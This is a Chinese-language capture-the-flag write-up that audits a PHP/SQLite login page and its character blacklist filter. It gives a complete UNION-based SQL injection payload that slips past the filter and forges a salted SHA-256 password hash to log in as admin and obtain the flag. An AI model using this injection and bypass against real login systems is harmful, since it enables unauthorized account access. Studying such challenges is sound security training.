右键查看源代码发现隐藏目录/?pls_help,访问发现
代码审计
首先是一个函数 is_trying_to _hak_me
function is_trying_to_hak_me($str)
{
$blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
if (strpos($str, "'") !== false) {
if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
return true;
}
}
foreach ($blacklist as $token) {
if (strpos($str, $token) !== false) return true;
}
return false;
}
定义了一个黑名单$blacklist 过滤 ' , ',",`, `,` ,>,<;
如果包含单引号' ,匹配单引号左右是否为数字和字母,不是返回true,会导致下面这段函数
if (is_trying_to_hak_me($user)) {
die("why u bully me");
}
输出why u bully me,所以可以直接使用union注入把空格去掉
接下来看下面一段代码
if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
$user = $_POST["user"];
$pass = $_POST["pass"];
if (is_trying_to_hak_me($user)) {
die("why u bully me");
}
$db = new SQLite3("/var/db.sqlite");
$result = $db->query("SELECT * FROM users WHERE username='$user'");
if ($result === false) die("pls dont break me");
else $result = $result->fetchArray();
if ($result) {
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}
else $err = "No such user";
}
$user为输入用户名,$pass为输入密码 ,并检查是否为空
连接到 SQLite 数据库
$result为执行SQL语句的结果,并将$result遍历成数组返回给$result
接下为其中最重要的代码
if ($result) {
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
else $err = "Wrong password";
}
else $err = "No such user";
}
用explode把上边sql语句查询出来$result["password"]按照$符号分割成两部分
让$split[0]为密码的哈希部分
让$split[1]为盐值部分
最后计算$split[0]是否等于传入的pass密码连接$split[1]盐值的哈希值是否相等
相等则让$logged_in = true
<?php if (isset($logged_in) && $logged_in): ?>
<p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?>
然后就可以直接拿到flag
所以我们通过union注入改变查询结果,构造$result["password]使得绕过密码验证
payload
生成密码
<?php var_dump(hash("sha256","1"."1"));?>
生成密码为
4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8
后面加上$1
username传入
1'union select 1,'4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1
第二个值是password,所以写后面
只要有一个匹配!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)就可以绕过了
password传入1
得到flag